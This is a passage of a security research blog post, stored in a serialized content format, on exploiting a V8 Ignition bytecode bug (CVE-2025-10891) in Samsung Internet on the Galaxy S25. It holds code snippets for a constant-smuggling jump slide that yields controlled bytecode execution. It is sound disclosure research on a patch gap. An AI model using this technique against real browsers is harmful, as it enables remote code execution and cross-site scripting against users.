escape.",{"type":23,"tag":24,"props":131641,"children":131642},{},[131643],{"type":28,"value":131644},"More broadly, this exploit is a reminder that weak-looking primitives should not be dismissed too quickly - with the right heap layout and target, even highly constrained corruption can be enough.",{"type":23,"tag":2843,"props":131646,"children":131647},{},[131648],{"type":28,"value":2847},{"title":7,"searchDepth":54,"depth":54,"links":131650},[131651,131654,131657,131666],{"id":123379,"depth":54,"text":123392,"children":131652},[131653],{"id":123400,"depth":76,"text":123403},{"id":123424,"depth":54,"text":123427,"children":131655},[131656],{"id":123438,"depth":76,"text":123438},{"id":99826,"depth":54,"text":99829,"children":131658},[131659,131660,131661,131662,131663,131664,131665],{"id":126030,"depth":76,"text":126033},{"id":127557,"depth":76,"text":127560},{"id":128351,"depth":76,"text":128354},{"id":128756,"depth":76,"text":128759},{"id":128972,"depth":76,"text":128975},{"id":129178,"depth":76,"text":129181},{"id":131474,"depth":76,"text":131477},{"id":2811,"depth":54,"text":2814},"content:blog:2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape",{"_path":131671,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":131672,"description":131673,"date":131674,"author":131675,"image":131678,"isFeatured":18,"onBlogPage":18,"tags":131680,"body":131683,"_type":2864,"_id":141591,"_source":2866,"_file":141592,"_stem":141593,"_extension":2869},"/blog/2026-04-01-patch-gap-to-mobile-renderer-rce","Patch Gap to Mobile Renderer RCE: Pwning Samsung Internet's V8 on the Galaxy S25","Samsung Internet on the Galaxy S25 shipped a six-month-old version of V8, exposing it to publicly known bugs. Learn how we exploited a bytecode interpreter vulnerability to achieve renderer RCE and universal XSS in the browser.","2026-04-01T12:00:00.000Z",[123375,131676,131677],"jamie","william",{"src":131679,"width":96986,"height":13},"/posts/mobile-renderer-rce/title.png",[131681,131682],"RCE","mobile",{"type":20,"children":131684,"toc":141571},[131685,131689,131694,131708,131714,131728,131749,131757,131770,131778,131791,131797,131810,131824,131830,131844,131947,131952,131960,131965,131970,131991,132069,132077,132096,132109,132115,132121,132135,132251,132256,132261,132269,132274,132282,132310,132339,132351,132527,132532,132540,132559,132572,132578,132598,132612,132617,132622,132650,132686,132755,132761,132783,132788,132796,132809,132814,132822,132827,132866,132872,132885,132890,133068,133078,133086,133106,133130,133143,133149,133154,133796,133801,133809,133851,135840,135845,135853,135859,135892,135910,136080,136138,136163,136257,136262,137053,137058,137066,137077,139121,139126,139134,139140,139162,139176,139189,139201,139231,139236,139677,139705,139812,139829,139986,139991,140003,140299,140325,140348,140480,140492,140497,140649,140685,140698,140703,140825,140866,140943,140948,141522,141528,141540,141553,141557,141562,141567],{"type":23,"tag":446,"props":131686,"children":131687},{"id":29014},[131688],{"type":28,"value":29017},{"type":23,"tag":24,"props":131690,"children":131691},{},[131692],{"type":28,"value":131693},"The supply chain dependency in today's software landscape is extremely complex. Any vulnerability in a core library creates an exploitable window for its dependents - maintainers either fall behind on the exhausting update schedule, backport incorrectly, or even forget about it entirely.",{"type":23,"tag":24,"props":131695,"children":131696},{},[131697,131699,131706],{"type":28,"value":131698},"One such example is V8, a JavaScript engine used ubiquitously in Chromium and Node.js-based software. In collaboration with the ",{"type":23,"tag":458,"props":131700,"children":131703},{"href":131701,"rel":131702},"https://cor.team",[462],[131704],{"type":28,"value":131705},"Crusaders of Rust",{"type":28,"value":131707}," Security Research Group, we decided to analyze the version of V8 in Samsung Internet (the default browser on Samsung phones) on a Samsung Galaxy S25 in hopes of an n-day exploitation opportunity.",{"type":23,"tag":546,"props":131709,"children":131711},{"id":131710},"finding-the-v8-version",[131712],{"type":28,"value":131713},"Finding the V8 Version",{"type":23,"tag":24,"props":131715,"children":131716},{},[131717,131719,131726],{"type":28,"value":131718},"We started by pulling Samsung Internet's APK from the device over ",{"type":23,"tag":458,"props":131720,"children":131723},{"href":131721,"rel":131722},"https://developer.android.com/tools/adb",[462],[131724],{"type":28,"value":131725},"adb",{"type":28,"value":131727}," and inspecting the libraries it shipped with.",{"type":23,"tag":24,"props":131729,"children":131730},{},[131731,131733,131739,131741,131747],{"type":28,"value":131732},"After extracting the APK, we searched the ",{"type":23,"tag":37,"props":131734,"children":131736},{"className":131735},[],[131737],{"type":28,"value":131738},"lib/",{"type":28,"value":131740}," directory for ",{"type":23,"tag":37,"props":131742,"children":131744},{"className":131743},[],[131745],{"type":28,"value":131746},"v8::*",{"type":28,"value":131748}," symbols:",{"type":23,"tag":31,"props":131750,"children":131752},{"code":131751},"$ grep -r 'v8::' lib/\ngrep: lib/arm64-v8a/libterrace.so: binary file matches\n",[131753],{"type":23,"tag":37,"props":131754,"children":131755},{"__ignoreMap":7},[131756],{"type":28,"value":131751},{"type":23,"tag":24,"props":131758,"children":131759},{},[131760,131762,131768],{"type":28,"value":131761},"Only one file matched our search: ",{"type":23,"tag":37,"props":131763,"children":131765},{"className":131764},[],[131766],{"type":28,"value":131767},"libterrace.so",{"type":28,"value":131769},". We then loaded it into a decompiler to inspect it more closely, which is where we found the bundled V8 version:",{"type":23,"tag":24,"props":131771,"children":131772},{},[131773],{"type":23,"tag":3918,"props":131774,"children":131777},{"alt":131775,"src":131776},"image1","/posts/mobile-renderer-rce/image1.png",[],{"type":23,"tag":24,"props":131779,"children":131780},{},[131781,131783,131789],{"type":28,"value":131782},"Surprisingly, this ",{"type":23,"tag":37,"props":131784,"children":131786},{"className":131785},[],[131787],{"type":28,"value":131788},"13.6.233.10",{"type":28,"value":131790}," version was already six months old at the time, with multiple publicly known bugs affecting it.",{"type":23,"tag":546,"props":131792,"children":131794},{"id":131793},"choosing-the-bug",[131795],{"type":28,"value":131796},"Choosing the Bug",{"type":23,"tag":24,"props":131798,"children":131799},{},[131800,131802,131808],{"type":28,"value":131801},"We were able to trigger a couple of bugs on our locally compiled ",{"type":23,"tag":37,"props":131803,"children":131805},{"className":131804},[],[131806],{"type":28,"value":131807},"d8",{"type":28,"value":131809}," matching the target version. One of them was CVE-2025-5419 - a store-store elimination bug that we managed to get working on the device. However, exploitation required heap spraying, which would present significant stability issues when porting to the phone.",{"type":23,"tag":24,"props":131811,"children":131812},{},[131813,131815,131822],{"type":28,"value":131814},"Another one was ",{"type":23,"tag":458,"props":131816,"children":131819},{"href":131817,"rel":131818},"https://issuetracker.google.com/issues/443875388",[462],[131820],{"type":28,"value":131821},"CVE-2025-10891",{"type":28,"value":131823}," - a bug in the Ignition bytecode interpreter. This one was attractive as bytecode is treated as trusted under the V8 sandbox model, meaning that a separate Übercage bypass would not be required. Given this, we decided to explore this bug further.",{"type":23,"tag":446,"props":131825,"children":131827},{"id":131826},"ignition-bytecode-introduction",[131828],{"type":28,"value":131829},"Ignition Bytecode Introduction",{"type":23,"tag":24,"props":131831,"children":131832},{},[131833,131835,131842],{"type":28,"value":131834},"V8 initially compiles all JS code to a bytecode format with the ",{"type":23,"tag":458,"props":131836,"children":131839},{"href":131837,"rel":131838},"https://v8.dev/blog/ignition-interpreter",[462],[131840],{"type":28,"value":131841},"Ignition",{"type":28,"value":131843}," interpreter.\nThis is a simple register-based VM with fixed size opcodes (and prefix bytes to increase operand width). For instance:",{"type":23,"tag":31,"props":131845,"children":131847},{"code":131846,"language":31359,"meta":7,"className":31357,"style":7},"let a = 1;\nlet b = 0x0fff;\nlet c = 0x0fffffff;\nlet d = 0xffffffff;\n",[131848],{"type":23,"tag":37,"props":131849,"children":131850},{"__ignoreMap":7},[131851,131874,131898,131922],{"type":23,"tag":41,"props":131852,"children":131853},{"class":43,"line":44},[131854,131858,131862,131866,131870],{"type":23,"tag":41,"props":131855,"children":131856},{"style":64},[131857],{"type":28,"value":11784},{"type":23,"tag":41,"props":131859,"children":131860},{"style":858},[131861],{"type":28,"value":117},{"type":23,"tag":41,"props":131863,"children":131864},{"style":170},[131865],{"type":28,"value":3017},{"type":23,"tag":41,"props":131867,"children":131868},{"style":164},[131869],{"type":28,"value":167},{"type":23,"tag":41,"props":131871,"children":131872},{"style":70},[131873],{"type":28,"value":183},{"type":23,"tag":41,"props":131875,"children":131876},{"class":43,"line":54},[131877,131881,131885,131889,131894],{"type":23,"tag":41,"props":131878,"children":131879},{"style":64},[131880],{"type":28,"value":11784},{"type":23,"tag":41,"props":131882,"children":131883},{"style":858},[131884],{"type":28,"value":1051},{"type":23,"tag":41,"props":131886,"children":131887},{"style":170},[131888],{"type":28,"value":3017},{"type":23,"tag":41,"props":131890,"children":131891},{"style":164},[131892],{"type":28,"value":131893}," 0x0fff",{"type":23,"tag":41,"props":131895,"children":131896},{"style":70},[131897],{"type":28,"value":183},{"type":23,"tag":41,"props":131899,"children":131900},{"class":43,"line":76},[131901,131905,131909,131913,131918],{"type":23,"tag":41,"props":131902,"children":131903},{"style":64},[131904],{"type":28,"value":11784},{"type":23,"tag":41,"props":131906,"children":131907},{"style":858},[131908],{"type":28,"value":37440},{"type":23,"tag":41,"props":131910,"children":131911},{"style":170},[131912],{"type":28,"value":3017},{"type":23,"tag":41,"props":131914,"children":131915},{"style":164},[131916],{"type":28,"value":131917}," 0x0fffffff",{"type":23,"tag":41,"props":131919,"children":131920},{"style":70},[131921],{"type":28,"value":183},{"type":23,"tag":41,"props":131923,"children":131924},{"class":43,"line":85},[131925,131929,131934,131938,131943],{"type":23,"tag":41,"props":131926,"children":131927},{"style":64},[131928],{"type":28,"value":11784},{"type":23,"tag":41,"props":131930,"children":131931},{"style":858},[131932],{"type":28,"value":131933}," d",{"type":23,"tag":41,"props":131935,"children":131936},{"style":170},[131937],{"type":28,"value":3017},{"type":23,"tag":41,"props":131939,"children":131940},{"style":164},[131941],{"type":28,"value":131942}," 0xffffffff",{"type":23,"tag":41,"props":131944,"children":131945},{"style":70},[131946],{"type":28,"value":183},{"type":23,"tag":24,"props":131948,"children":131949},{},[131950],{"type":28,"value":131951},"compiles to",{"type":23,"tag":31,"props":131953,"children":131955},{"code":131954}," # Load the Smi `1` into the accumulator\n 0 : 0d 01             LdaSmi [1]\n # Store it to register 0\n 2 : ce                Star0\n # Load the 2-byte Smi `0xfff` into acc\n 3 : 00 0d ff 0f       LdaSmi.Wide [4095]\n # Store it to register 1\n 7 : cd                Star1\n # Load the 4-byte Smi `0xfffffff` into acc\n 8 : 01 0d ff ff ff 0f LdaSmi.ExtraWide [268435455]\n # Store it to register 2\n14 : cc                Star2\n# `0xffffffff` doesn't fit into an Smi, so a `HeapNumber` is allocated in the function's constant pool and loaded\n15 : 13 00             LdaConstant [0]\n# Store it to register 3\n17 : cb                Star3\n18 : 0e                LdaUndefined\n19 : b3                Return\n",[131956],{"type":23,"tag":37,"props":131957,"children":131958},{"__ignoreMap":7},[131959],{"type":28,"value":131954},{"type":23,"tag":24,"props":131961,"children":131962},{},[131963],{"type":28,"value":131964},"Ignition bytecode is then passed through the Sparkplug, Maglev, and Turbofan JIT compilers depending on the required amount of optimization. Yes, V8 has FOUR compilers, all so that slop devs can continue \"engineering\" their RAM-hungry, CPU-draining web apps that have plagued the modern internet.",{"type":23,"tag":546,"props":131966,"children":131968},{"id":131967},"cve-2025-10891",[131969],{"type":28,"value":131821},{"type":23,"tag":24,"props":131971,"children":131972},{},[131973,131975,131981,131983,131989],{"type":28,"value":131974},"The bug is in the handling of try/catch blocks. These are encoded in a function as a list of ",{"type":23,"tag":37,"props":131976,"children":131978},{"className":131977},[],[131979],{"type":28,"value":131980},"[start, end) => handler",{"type":28,"value":131982}," offsets - if an exception is thrown in the given bytecode address range, ",{"type":23,"tag":37,"props":131984,"children":131986},{"className":131985},[],[131987],{"type":28,"value":131988},"handler",{"type":28,"value":131990}," is jumped to.",{"type":23,"tag":31,"props":131992,"children":131994},{"code":131993,"language":31359,"meta":7,"className":31357,"style":7},"try {\n  throw 1;\n} catch {\n  let b = 2;\n}\n",[131995],{"type":23,"tag":37,"props":131996,"children":131997},{"__ignoreMap":7},[131998,132009,132024,132039,132062],{"type":23,"tag":41,"props":131999,"children":132000},{"class":43,"line":44},[132001,132005],{"type":23,"tag":41,"props":132002,"children":132003},{"style":58},[132004],{"type":28,"value":48325},{"type":23,"tag":41,"props":132006,"children":132007},{"style":70},[132008],{"type":28,"value":102},{"type":23,"tag":41,"props":132010,"children":132011},{"class":43,"line":54},[132012,132016,132020],{"type":23,"tag":41,"props":132013,"children":132014},{"style":58},[132015],{"type":28,"value":35196},{"type":23,"tag":41,"props":132017,"children":132018},{"style":164},[132019],{"type":28,"value":167},{"type":23,"tag":41,"props":132021,"children":132022},{"style":70},[132023],{"type":28,"value":183},{"type":23,"tag":41,"props":132025,"children":132026},{"class":43,"line":76},[132027,132031,132035],{"type":23,"tag":41,"props":132028,"children":132029},{"style":70},[132030],{"type":28,"value":46867},{"type":23,"tag":41,"props":132032,"children":132033},{"style":58},[132034],{"type":28,"value":48405},{"type":23,"tag":41,"props":132036,"children":132037},{"style":70},[132038],{"type":28,"value":102},{"type":23,"tag":41,"props":132040,"children":132041},{"class":43,"line":85},[132042,132046,132050,132054,132058],{"type":23,"tag":41,"props":132043,"children":132044},{"style":64},[132045],{"type":28,"value":7855},{"type":23,"tag":41,"props":132047,"children":132048},{"style":858},[132049],{"type":28,"value":1051},{"type":23,"tag":41,"props":132051,"children":132052},{"style":170},[132053],{"type":28,"value":3017},{"type":23,"tag":41,"props":132055,"children":132056},{"style":164},[132057],{"type":28,"value":178},{"type":23,"tag":41,"props":132059,"children":132060},{"style":70},[132061],{"type":28,"value":183},{"type":23,"tag":41,"props":132063,"children":132064},{"class":43,"line":105},[132065],{"type":23,"tag":41,"props":132066,"children":132067},{"style":70},[132068],{"type":28,"value":201},{"type":23,"tag":31,"props":132070,"children":132072},{"code":132071}," 0 : 1b ff f8          Mov \u003Ccontext>, r1\n # Start of try block\n # ---------------------------------\n 3 : 0d 01             LdaSmi [1]\n 5 : b1                Throw\n # ---------------------------------\n 6 : 10                LdaTheHole\n 7 : b0                SetPendingMessage\n # Start of catch handler\n 8 : 0d 02             LdaSmi [2]\n10 : ce                Star0\n11 : 0e                LdaUndefined\n12 : b3                Return\nHandler Table (size = 16)\n   from   to       hdlr (prediction,   data)\n  (   3,   6)  ->     6 (prediction=1, data=1)\n",[132073],{"type":23,"tag":37,"props":132074,"children":132075},{"__ignoreMap":7},[132076],{"type":28,"value":132071},{"type":23,"tag":24,"props":132078,"children":132079},{},[132080,132082,132087,132089,132094],{"type":28,"value":132081},"However, the ",{"type":23,"tag":37,"props":132083,"children":132085},{"className":132084},[],[132086],{"type":28,"value":131988},{"type":28,"value":132088}," offset is stored in a 28-bit bitfield. If the address of the ",{"type":23,"tag":37,"props":132090,"children":132092},{"className":132091},[],[132093],{"type":28,"value":48405},{"type":28,"value":132095}," block does not fit within 28 bits, it will be silently truncated. This will lead to a jump into a completely different part of the code - even in the middle of an instruction.",{"type":23,"tag":24,"props":132097,"children":132098},{},[132099,132101,132107],{"type":28,"value":132100},"One easy way to generate a large enough function, as suggested in the initial report, is to emit many ",{"type":23,"tag":37,"props":132102,"children":132104},{"className":132103},[],[132105],{"type":28,"value":132106},"yield*",{"type":28,"value":132108}," statements, as that drastically increases the size of the Ignition bytecode.",{"type":23,"tag":446,"props":132110,"children":132112},{"id":132111},"exploitation",[132113],{"type":28,"value":132114},"Exploitation",{"type":23,"tag":546,"props":132116,"children":132118},{"id":132117},"constant-smuggling",[132119],{"type":28,"value":132120},"Constant Smuggling",{"type":23,"tag":24,"props":132122,"children":132123},{},[132124,132126,132133],{"type":28,"value":132125},"Our initial approach to exploitation was inspired by the 'shellcode smuggling' ",{"type":23,"tag":458,"props":132127,"children":132130},{"href":132128,"rel":132129},"https://blog.exodusintel.com/2024/01/19/google-chrome-v8-cve-2024-0517-out-of-bounds-write-code-execution/",[462],[132131],{"type":28,"value":132132},"technique",{"type":28,"value":132134}," - when arbitrary read-write is achieved in browser exploits, we can often JIT compile a function like this:",{"type":23,"tag":31,"props":132136,"children":132138},{"code":132137,"language":31359,"meta":7,"className":31357,"style":7},"let a = -9.255963134931783e61;\nlet b = -9.255963134931783e61;\nlet c = -9.255963134931783e61;\nlet d = -9.255963134931783e61;\n",[132139],{"type":23,"tag":37,"props":132140,"children":132141},{"__ignoreMap":7},[132142,132170,132197,132224],{"type":23,"tag":41,"props":132143,"children":132144},{"class":43,"line":44},[132145,132149,132153,132157,132161,132166],{"type":23,"tag":41,"props":132146,"children":132147},{"style":64},[132148],{"type":28,"value":11784},{"type":23,"tag":41,"props":132150,"children":132151},{"style":858},[132152],{"type":28,"value":117},{"type":23,"tag":41,"props":132154,"children":132155},{"style":170},[132156],{"type":28,"value":3017},{"type":23,"tag":41,"props":132158,"children":132159},{"style":170},[132160],{"type":28,"value":51250},{"type":23,"tag":41,"props":132162,"children":132163},{"style":164},[132164],{"type":28,"value":132165},"9.255963134931783e61",{"type":23,"tag":41,"props":132167,"children":132168},{"style":70},[132169],{"type":28,"value":183},{"type":23,"tag":41,"props":132171,"children":132172},{"class":43,"line":54},[132173,132177,132181,132185,132189,132193],{"type":23,"tag":41,"props":132174,"children":132175},{"style":64},[132176],{"type":28,"value":11784},{"type":23,"tag":41,"props":132178,"children":132179},{"style":858},[132180],{"type":28,"value":1051},{"type":23,"tag":41,"props":132182,"children":132183},{"style":170},[132184],{"type":28,"value":3017},{"type":23,"tag":41,"props":132186,"children":132187},{"style":170},[132188],{"type":28,"value":51250},{"type":23,"tag":41,"props":132190,"children":132191},{"style":164},[132192],{"type":28,"value":132165},{"type":23,"tag":41,"props":132194,"children":132195},{"style":70},[132196],{"type":28,"value":183},{"type":23,"tag":41,"props":132198,"children":132199},{"class":43,"line":76},[132200,132204,132208,132212,132216,132220],{"type":23,"tag":41,"props":132201,"children":132202},{"style":64},[132203],{"type":28,"value":11784},{"type":23,"tag":41,"props":132205,"children":132206},{"style":858},[132207],{"type":28,"value":37440},{"type":23,"tag":41,"props":132209,"children":132210},{"style":170},[132211],{"type":28,"value":3017},{"type":23,"tag":41,"props":132213,"children":132214},{"style":170},[132215],{"type":28,"value":51250},{"type":23,"tag":41,"props":132217,"children":132218},{"style":164},[132219],{"type":28,"value":132165},{"type":23,"tag":41,"props":132221,"children":132222},{"style":70},[132223],{"type":28,"value":183},{"type":23,"tag":41,"props":132225,"children":132226},{"class":43,"line":85},[132227,132231,132235,132239,132243,132247],{"type":23,"tag":41,"props":132228,"children":132229},{"style":64},[132230],{"type":28,"value":11784},{"type":23,"tag":41,"props":132232,"children":132233},{"style":858},[132234],{"type":28,"value":131933},{"type":23,"tag":41,"props":132236,"children":132237},{"style":170},[132238],{"type":28,"value":3017},{"type":23,"tag":41,"props":132240,"children":132241},{"style":170},[132242],{"type":28,"value":51250},{"type":23,"tag":41,"props":132244,"children":132245},{"style":164},[132246],{"type":28,"value":132165},{"type":23,"tag":41,"props":132248,"children":132249},{"style":70},[132250],{"type":28,"value":183},{"type":23,"tag":24,"props":132252,"children":132253},{},[132254],{"type":28,"value":132255},"These floating-point constants will compile to 8-byte constants inside the machine code (the last 2 of which are used to jump into the next constant).",{"type":23,"tag":24,"props":132257,"children":132258},{},[132259],{"type":28,"value":132260},"We'll use a similar principle here, although much more limited. With",{"type":23,"tag":31,"props":132262,"children":132264},{"code":132263},"let a = 0x0693bebe;\n",[132265],{"type":23,"tag":37,"props":132266,"children":132267},{"__ignoreMap":7},[132268],{"type":28,"value":132263},{"type":23,"tag":24,"props":132270,"children":132271},{},[132272],{"type":28,"value":132273},"We will compile the bytecode:",{"type":23,"tag":31,"props":132275,"children":132277},{"code":132276},"01 0d be be 93 06 LdaSmi.ExtraWide\n",[132278],{"type":23,"tag":37,"props":132279,"children":132280},{"__ignoreMap":7},[132281],{"type":28,"value":132276},{"type":23,"tag":24,"props":132283,"children":132284},{},[132285,132287,132293,132295,132301,132302,132308],{"type":28,"value":132286},"We can then jump to the 3rd byte (",{"type":23,"tag":37,"props":132288,"children":132290},{"className":132289},[],[132291],{"type":28,"value":132292},"0xbe",{"type":28,"value":132294},"), and gain 2 controlled bytes of execution, followed by ",{"type":23,"tag":37,"props":132296,"children":132298},{"className":132297},[],[132299],{"type":28,"value":132300},"0x93 0x02 - 0xf",{"type":28,"value":142},{"type":23,"tag":37,"props":132303,"children":132305},{"className":132304},[],[132306],{"type":28,"value":132307},"Jump +[2-15]",{"type":28,"value":132309},") to jump into the next constant.",{"type":23,"tag":24,"props":132311,"children":132312},{},[132313,132315,132321,132323,132329,132331,132337],{"type":28,"value":132314},"Note that the jump constant will change as the subsequent store instruction becomes longer due to storing to deeper registers. Storing to registers 1-15 resulted in simple one byte ",{"type":23,"tag":37,"props":132316,"children":132318},{"className":132317},[],[132319],{"type":28,"value":132320},"StarX",{"type":28,"value":132322}," instructions, registers 16-121 resulted in two bytes ",{"type":23,"tag":37,"props":132324,"children":132326},{"className":132325},[],[132327],{"type":28,"value":132328},"Star rX",{"type":28,"value":132330}," instructions, and the next batch resulted in 4 byte ",{"type":23,"tag":37,"props":132332,"children":132334},{"className":132333},[],[132335],{"type":28,"value":132336},"Star.ExtraWide rX",{"type":28,"value":132338}," instructions.",{"type":23,"tag":24,"props":132340,"children":132341},{},[132342,132344,132350],{"type":28,"value":132343},"With these short jumps, we can actually construct a massive jump slide of constants like ",{"type":23,"tag":37,"props":132345,"children":132347},{"className":132346},[],[132348],{"type":28,"value":132349},"0x8931111",{"type":28,"value":1474},{"type":23,"tag":31,"props":132352,"children":132354},{"code":132353,"language":31359,"meta":7,"className":31357,"style":7},"let a206 = 0x8931111;\nlet a207 = 0x8931111;\nlet a208 = 0x8931111;\nlet a209 = 0x8931111;\nlet a210 = 0x8931111;\nlet a211 = 0x8931111;\nlet a212 = 0x8931111;\n",[132355],{"type":23,"tag":37,"props":132356,"children":132357},{"__ignoreMap":7},[132358,132383,132407,132431,132455,132479,132503],{"type":23,"tag":41,"props":132359,"children":132360},{"class":43,"line":44},[132361,132365,132370,132374,132379],{"type":23,"tag":41,"props":132362,"children":132363},{"style":64},[132364],{"type":28,"value":11784},{"type":23,"tag":41,"props":132366,"children":132367},{"style":858},[132368],{"type":28,"value":132369}," a206",{"type":23,"tag":41,"props":132371,"children":132372},{"style":170},[132373],{"type":28,"value":3017},{"type":23,"tag":41,"props":132375,"children":132376},{"style":164},[132377],{"type":28,"value":132378}," 0x8931111",{"type":23,"tag":41,"props":132380,"children":132381},{"style":70},[132382],{"type":28,"value":183},{"type":23,"tag":41,"props":132384,"children":132385},{"class":43,"line":54},[132386,132390,132395,132399,132403],{"type":23,"tag":41,"props":132387,"children":132388},{"style":64},[132389],{"type":28,"value":11784},{"type":23,"tag":41,"props":132391,"children":132392},{"style":858},[132393],{"type":28,"value":132394}," a207",{"type":23,"tag":41,"props":132396,"children":132397},{"style":170},[132398],{"type":28,"value":3017},{"type":23,"tag":41,"props":132400,"children":132401},{"style":164},[132402],{"type":28,"value":132378},{"type":23,"tag":41,"props":132404,"children":132405},{"style":70},[132406],{"type":28,"value":183},{"type":23,"tag":41,"props":132408,"children":132409},{"class":43,"line":76},[132410,132414,132419,132423,132427],{"type":23,"tag":41,"props":132411,"children":132412},{"style":64},[132413],{"type":28,"value":11784},{"type":23,"tag":41,"props":132415,"children":132416},{"style":858},[132417],{"type":28,"value":132418}," a208",{"type":23,"tag":41,"props":132420,"children":132421},{"style":170},[132422],{"type":28,"value":3017},{"type":23,"tag":41,"props":132424,"children":132425},{"style":164},[132426],{"type":28,"value":132378},{"type":23,"tag":41,"props":132428,"children":132429},{"style":70},[132430],{"type":28,"value":183},{"type":23,"tag":41,"props":132432,"children":132433},{"class":43,"line":85},[132434,132438,132443,132447,132451],{"type":23,"tag":41,"props":132435,"children":132436},{"style":64},[132437],{"type":28,"value":11784},{"type":23,"tag":41,"props":132439,"children":132440},{"style":858},[132441],{"type":28,"value":132442}," a209",{"type":23,"tag":41,"props":132444,"children":132445},{"style":170},[132446],{"type":28,"value":3017},{"type":23,"tag":41,"props":132448,"children":132449},{"style":164},[132450],{"type":28,"value":132378},{"type":23,"tag":41,"props":132452,"children":132453},{"style":70},[132454],{"type":28,"value":183},{"type":23,"tag":41,"props":132456,"children":132457},{"class":43,"line":105},[132458,132462,132467,132471,132475],{"type":23,"tag":41,"props":132459,"children":132460},{"style":64},[132461],{"type":28,"value":11784},{"type":23,"tag":41,"props":132463,"children":132464},{"style":858},[132465],{"type":28,"value":132466}," a210",{"type":23,"tag":41,"props":132468,"children":132469},{"style":170},[132470],{"type":28,"value":3017},{"type":23,"tag":41,"props":132472,"children":132473},{"style":164},[132474],{"type":28,"value":132378},{"type":23,"tag":41,"props":132476,"children":132477},{"style":70},[132478],{"type":28,"value":183},{"type":23,"tag":41,"props":132480,"children":132481},{"class":43,"line":155},[132482,132486,132491,132495,132499],{"type":23,"tag":41,"props":132483,"children":132484},{"style":64},[132485],{"type":28,"value":11784},{"type":23,"tag":41,"props":132487,"children":132488},{"style":858},[132489],{"type":28,"value":132490}," a211",{"type":23,"tag":41,"props":132492,"children":132493},{"style":170},[132494],{"type":28,"value":3017},{"type":23,"tag":41,"props":132496,"children":132497},{"style":164},[132498],{"type":28,"value":132378},{"type":23,"tag":41,"props":132500,"children":132501},{"style":70},[132502],{"type":28,"value":183},{"type":23,"tag":41,"props":132504,"children":132505},{"class":43,"line":186},[132506,132510,132515,132519,132523],{"type":23,"tag":41,"props":132507,"children":132508},{"style":64},[132509],{"type":28,"value":11784},{"type":23,"tag":41,"props":132511,"children":132512},{"style":858},[132513],{"type":28,"value":132514}," a212",{"type":23,"tag":41,"props":132516,"children":132517},{"style":170},[132518],{"type":28,"value":3017},{"type":23,"tag":41,"props":132520,"children":132521},{"style":164},[132522],{"type":28,"value":132378},{"type":23,"tag":41,"props":132524,"children":132525},{"style":70},[132526],{"type":28,"value":183},{"type":23,"tag":24,"props":132528,"children":132529},{},[132530],{"type":28,"value":132531},"Those instructions result in:",{"type":23,"tag":31,"props":132533,"children":132535},{"code":132534},"00: LdaTrue;\n01: LdaTrue;\n02: Jump +8;  >------------+\n04: Star rX + LdaSmi ...   |\nv--------------------------+\n0a: LdaTrue;\n0b: LdaTrue;\n",[132536],{"type":23,"tag":37,"props":132537,"children":132538},{"__ignoreMap":7},[132539],{"type":28,"value":132534},{"type":23,"tag":24,"props":132541,"children":132542},{},[132543,132545,132551,132553,132557],{"type":28,"value":132544},"(The offset of ",{"type":23,"tag":37,"props":132546,"children":132548},{"className":132547},[],[132549],{"type":28,"value":132550},"Jump",{"type":28,"value":132552}," instructions is added to the ",{"type":23,"tag":2913,"props":132554,"children":132555},{},[132556],{"type":28,"value":71086},{"type":28,"value":132558}," of the instruction.)",{"type":23,"tag":24,"props":132560,"children":132561},{},[132562,132564,132570],{"type":28,"value":132563},"Now, 3 out of the 6 bytes in a ",{"type":23,"tag":37,"props":132565,"children":132567},{"className":132566},[],[132568],{"type":28,"value":132569},"LdaSmi.ExtraWide",{"type":28,"value":132571}," instruction are valid for merging into the smuggled arbitrary Ignition bytecode. This slide made exploit development a lot easier, as any additional code would cause the exception table to have new offsets.",{"type":23,"tag":546,"props":132573,"children":132575},{"id":132574},"exploit-goal",[132576],{"type":28,"value":132577},"Exploit Goal",{"type":23,"tag":24,"props":132579,"children":132580},{},[132581,132583,132589,132590,132596],{"type":28,"value":132582},"Initially we considered using ",{"type":23,"tag":37,"props":132584,"children":132586},{"className":132585},[],[132587],{"type":28,"value":132588},"Star",{"type":28,"value":4579},{"type":23,"tag":37,"props":132591,"children":132593},{"className":132592},[],[132594],{"type":28,"value":132595},"Ldar",{"type":28,"value":132597}," instructions to store to out-of-bounds register indexes, as registers are stored on the regular stack. However, with only 2 bytes we can only access +/- 0x7f registers, which does not allow us to go out of bounds enough to access interesting values.",{"type":23,"tag":24,"props":132599,"children":132600},{},[132601,132603,132610],{"type":28,"value":132602},"We realized that register offsets 0 and 1 contain the saved frame pointer and return address respectively. We considered using this to ",{"type":23,"tag":458,"props":132604,"children":132607},{"href":132605,"rel":132606},"https://github.com/google/google-ctf/tree/main/2023/quals/sandbox-v8box/solution",[462],[132608],{"type":28,"value":132609},"stack pivot and ROP",{"type":28,"value":132611},". However, there were numerous downsides - primarily, we would need multiple leaks of binary addresses and the JS heap (to construct a buffer with a fake stack frame).",{"type":23,"tag":24,"props":132613,"children":132614},{},[132615],{"type":28,"value":132616},"Additionally, the interpreter expects all values to be tagged V8 values (i.e. 32-bit compressed pointers or Smis). This means that operating on 64-bit addresses can cause surprising truncations or 'untagging' extensions.",{"type":23,"tag":24,"props":132618,"children":132619},{},[132620],{"type":28,"value":132621},"Finally, ROP/stack pivoting-based approaches would cause significant work when porting from our x86_64 development machines to the aarch64 target device, and might not even be feasible given the existence of PAC and BTI on the Galaxy S25.",{"type":23,"tag":24,"props":132623,"children":132624},{},[132625,132627,132633,132635,132641,132643,132649],{"type":28,"value":132626},"At this point, we identified an interesting opcode: ",{"type":23,"tag":37,"props":132628,"children":132630},{"className":132629},[],[132631],{"type":28,"value":132632},"CallRuntime",{"type":28,"value":132634},". Runtime functions are used to implement a lot of core V8 functionality, and are native functions exposed to bytecode (but not to the user, unless ",{"type":23,"tag":37,"props":132636,"children":132638},{"className":132637},[],[132639],{"type":28,"value":132640},"--allow-natives-syntax",{"type":28,"value":132642}," is enabled). Many of these allow powerful functionality as inputs are assumed to be trusted, but one stands out: ",{"type":23,"tag":37,"props":132644,"children":132646},{"className":132645},[],[132647],{"type":28,"value":132648},"DeserializeWasmModule",{"type":28,"value":706},{"type":23,"tag":24,"props":132651,"children":132652},{},[132653,132655,132662,132663,132668,132669,132675,132677,132684],{"type":28,"value":132654},"WebAssembly modules may be internally serialized and deserialized by the runtime - this serialization format includes raw machine code for any 